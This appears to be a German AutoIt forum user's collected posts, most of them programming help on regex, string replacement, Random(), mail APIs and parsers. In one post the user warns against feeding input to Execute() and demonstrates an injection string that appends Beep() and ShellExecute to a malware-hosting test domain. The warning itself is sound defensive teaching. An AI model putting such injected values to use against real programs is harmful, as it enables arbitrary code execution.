Beiträge von BinDannMalWeg

    Deinen ersten Satz hättest du dir sparen können!

    Tut mir leid falls ich dich damit gekränkt habe.

    Und übrigens... dein Beispiel funktioniert mit dem getürkten String nicht.

    Also bei mir funktioniert das zweizeilige Script. Seltsam. Aber auch egal, ich denke mein Einwand ist angekommen.

    Tester sollten aber besser eine Domain ihres Vertrauens einfügen !

    Die Domain www.evil[bindestrich]shit.de gehört den Betreibern des YouTube-Kanals SemperVideo und sollte daher vollkommen unbedenklich sein. Sie wird durch gängige Firewalls erkannt und gelockt, da auf unerreichbaren Unterseiten des Webservers Malware-Samples gehostet werden.

    Nun aber wieder back to topic. :S

    Das geht sogar noch kürzer... ;)

    Code
    Local $sTest = "1302", $aZahlen = ["Null", "Eins", "Zwei", "Drei"]
    ConsoleWrite(Execute(StringRegExpReplace($sTest, '(\d){1}', '$aZahlen[\1]&') & '""') & @CRLF

    Es tut mir leid, aber wenn hier so ein Unsinn verbrochen wird muss ich doch noch einmal meinen Senf dazu geben.

    Diese "Verbesserung" ist eine furchtbar gefährliche Idee. Der Grund für das Übersetzen von Zahlen in Zahlwörter ist ja höchst wahrscheinlich, dass die Zahlen von außerhalb in das Programm eingegeben werden. Vielleicht werden sie sogar aus dem Netz geladen oä..

    Deshalb ist es eine schlechte Idee diese Eingabe in die Execute-Funktion zu stopfen, da ein potentieller Angreifer einfach einen String wie "1302Beep()&ShellExecute('www.evil-shit.de')" eingeben kann. Was dann passiert könnt ihr ja mal selbst versuchen:

    Code
    Local $sTest = "1302Beep()&ShellExecute('www.evil-shit.de')", $aZahlen = ["Null", "Eins", "Zwei", "Drei"]
    ConsoleWrite(Execute(StringRegExpReplace($sTest, '(\d){1}', '$aZahlen[\1]&') & '""') & @CRLF)

    Generell würde ich empfehlen die Verwendung der Execute-Funktion in Produktivcode zu vermeiden.

    Außerdem ist der "gekürzte" Quellcode meiner Meinung nach sehr schlecht lesbar und vermutlich sogar noch langsamer, als der längere und sichere Code.

    Hallo AutoMit,

    hier ein Beispiel zu deiner ersten Frage:

    Code
    #include <Array.au3>
    
    $s = "Omega.6.Fettsäuren und 12 Äpfel sowie .57946. Bananen und -33- Kiwis"
    
    $Zahl = StringRegExp ( $s , "\.(\d+)\." , 3 )
    
    _ArrayDisplay($Zahl)

    und hier ein Beispiel zu deiner zweiten Frage:

    Code
    Local $aZahlen[4] = ["Null", "Eins", "Zwei", "Drei"]
    
    $sTest = "1302"
    
    For $i=0 To UBound($aZahlen)-1
        $sTest = StringReplace($sTest, String($i), $aZahlen[$i])
    Next
    
    ConsoleWrite($sTest & @CRLF)

    Hallo ru642,
    Random() ist eine Funktion. Eine Funktion kann man aufrufen, dann wird sie ausgeführt und gibt gibt unter Umständen ein Ergebnis zurück. Die Random-Funktion zum Beispiel produziert eine zufällige Zahl. In deinem Script rufst du die Random-Funktion einmal auf und speicherst die zurückgegebene Zahl in der Variable $rt. Der Wert der Variable (die von Random zurückgegebene Zahl) ändert sich später in deiner Schleife nicht, da du keinen neuen Wert in die Variable schreibst. Um also mehrere Zufallszahlen zu erhalten musst du die Random-Funktion mehrere Male aufrufen. (Denn jeder Aufruf gibt ja genau eine neue Zufallszahl zurück.)


    Edit: Ich begann damit diese Antwort zu schreiben als dieser Thread noch keine Antworten hatte...

    Hallo,
    also erstmal ist dein Beispielquellcode bescheuert formatiert. Außerdem solltest du für Autoitcode die Autoit-Tags benutzen.
    Zu deinem eigentlichen Problem: Der von dir gepostete Code ist richtig. Vermutlich hast du im Servercode einen Fehler gemacht oä. Wenn du also Hilfe möchtest solltest du schon den gesamten Code posten (Server + Client) und ihn richtig formatieren.

    Meiner Meinung nach ist das Mitschneiden von Browserverkehr an dieser Stelle unnötig aufwendig und vermutlich auch wenig zielführend. Das tolle bei GMail ist ja gerade, dass sie eine offene API zur Verfügung stellen über die man sein Postfach bedienen kann. Es ist also komplett unnötig zu versuchen nachzubilden was der Browser so tut. Stattdessen muss man nur in der bereitgestellten Dokumentation nachlesen was zu tun ist und dies implementieren.
    Wenn man nun nicht dazu in der Lage ist dies anhand der Dokumentation zu tun, sollte man sich wohl die Frage stellen ob es denn unbedingt GMail sein muss. (Einfacher als mit der dokumentierten API wird es ohne eine IMAP-UDF mit SSL-Unterstützung nämlich nicht.) Alternativ könnte man ja auch einen kostenlosen Mail-Provider verwenden, der SMTP und Co unterstützt. In diesem Fall könnte man mit den bereits erwähnten UDFs und relativ wenig Aufwand Mails versenden und auch empfangen.

    Es ist ziemlich unsinnig den String aus deinem GUI nur auf die Platte zu schreiben um ihn gleich wieder auszulesen.
    Mit Hilfe der Funktion StringSplit() kannst du den String direkt in ein Array verwandeln. Außerdem solltest du dir die Parameter von _ArrayDelete() nochmal genauer ansehen.

    Du könntest die Internet Explorer UDF (IE.au3) verwenden. Mit ihr kannst du eine ganz normale Instanz des IE erzeugen in der du dann wie gewohnt in deinem Webshop surfen kannst. Zusätzlich könntest du mit der Funktion HotkeySet() darauf warten, dass du zu einem gewünschten Artikel gesurft bist. (Wenn du einen gefunden hast drückst du eben die Tastenkombination) In der zur Tastenkombination gehörenden Funktion kannst du dann mit den Funktionen der IE-UDF den Text/Quelltext der gerade im Browser geöffneten Seite auslesen und daraus mit Funktionen wie StringBetween, StringRegExp, usw. die benötigten Daten extrahieren.
    Das Abspeichern der Daten ist dann ganz einfach mit den File-Funktionen möglich.

    Danke :thumbup:
    Reguläre Ausdrücke sind echt schweinkram :huh::rolleyes:

    Na dann eben so:


    Und setze bitte den Thread auf gelöst wenn das Thema erledigt ist.

    Also an deiner Stelle würde ich mit Autoit die Angebote einlesen (woher auch immer) und anschließend anhand einer Vorlage Latex-Quelltext generieren. Das liese sich nach einmaligem erstellen der Vorlage durch bloßes Verketten von Strings realisieren. Danach jagt man de Latex-Quelltext noch durch den PDF-Compiler und man hat ein wunderschönes PDF.
    Edit: Anzumerken ist natürlich, dass mit dieser Methode auch keine Abhängigkeit zu MS Office oä. besteht...

    Die Dialektinterpretation zwischen Au3 und FB könnte je nach Programmierstil kompliziert ausfallen.

    Im Normalfall sollte das Parsen in keiner Weise davon abhängen in welchem "Stil" jemand programmiert. Das Parsen hängt einzig und allein von der Spezifikation der geparsten Sprache ab. Im Normalfall beschreibt man eine Sprache mit Hilfe einer kontextfreien Grammatik. Ist man einmal im Besitz dieser, ist das Schreiben eines Parsers wirklich kein Porblem mehr, bzw. gibt es fertige Software die aus einer kontextfreien Grammatik einen performanten Parser baut.
    Die Entwickler von Autoit sollten im Besitz einer solchen Grammatik für die Sprache Autoit3 sein, jedoch bezweifle ich, dass sie dir diese aushändigen um einen Übersetzer zu bauen.
    Somit sehe ich zunächst einmal das Kernproblem darin eine solche Grammatik zu definieren, die dann auch exakt der originalen entspricht. Des weiteren wirst du wie du selbst schon angemerkt hast, Autoit des Variant-Datentyps berauben müssen, was ohne Veränderung/Annotation der originalen Autoit-Syntax nicht möglich sein wird.
    Insgesamt wird dieses Übersetzer-Projekt also - zumindest meiner Meinung nach - einen Aufwand ähnlich dem des Entwickelns einer komplett neuen Sprache haben. An diesem Punkt kann man sich nun die Frage stellen ob man sich den "Klotz" Autoit3 denn wirklich ans Bein binden möchte...
    Just my 2 cents :)

    Was Captchas angeht sind wir hier auch im falschen Forum, ein Program welches Captchas ausfüllen kann wird es hier nicht geben. (siehe Forenregeln)

    Da hab ich mich wohl unglücklich ausgedrückt - ich dachte an ein Anhalten des Ablaufs um den Benutzer um die Eingabe zu bitten...

    Hallo,

    für diese Aufgabe wäre ein eigener YouTube-Kanal sinnvoll, um die Schritte nachvollziehen zu können.

    wäre es möglich, dass du einen Youtube-Kanal mit Videos zum Testen bereit stellst? Falls nicht wird das Anlegen eines solchen gleich zu Beginn der Entwicklung einiges an Zeit und damit Aufwand kosten.
    Gerade die Tatsache, dass der angesprochene Warte-Effekt erst nach 30 bearbeiteten Videos auftritt verkompliziert diesen Aufwand noch einmal.
    Ist diese erste Hürde genommen sollte sich der Aufwand in Grenzen halten und es ist von wenigen Stunden (2-5) Arbeit auszugehen.

    Gegenleistung würde ich nach Aufwand erbringen. Am besten erstmal in einem Beitrag überschlagen, wie groß der Aufwand wird.

    Ich hoffe ich konnte ungefähr verdeutlichen wie hoch der Aufwand sein wird. Dazu gesagt sollte vielleicht noch werden, dass falls seitens Google Schutzmechanismen (zB. Captcha Abfragen) in Kraft treten der Aufwand, diese zu erkennen und darauf zu reagieren, noch einmal steigen würde.
    Abschliesend bleibt mir nur noch zu sagen, dass ich mich für eine angemessene Gegenleistung deiner Anfrage annehmen würde.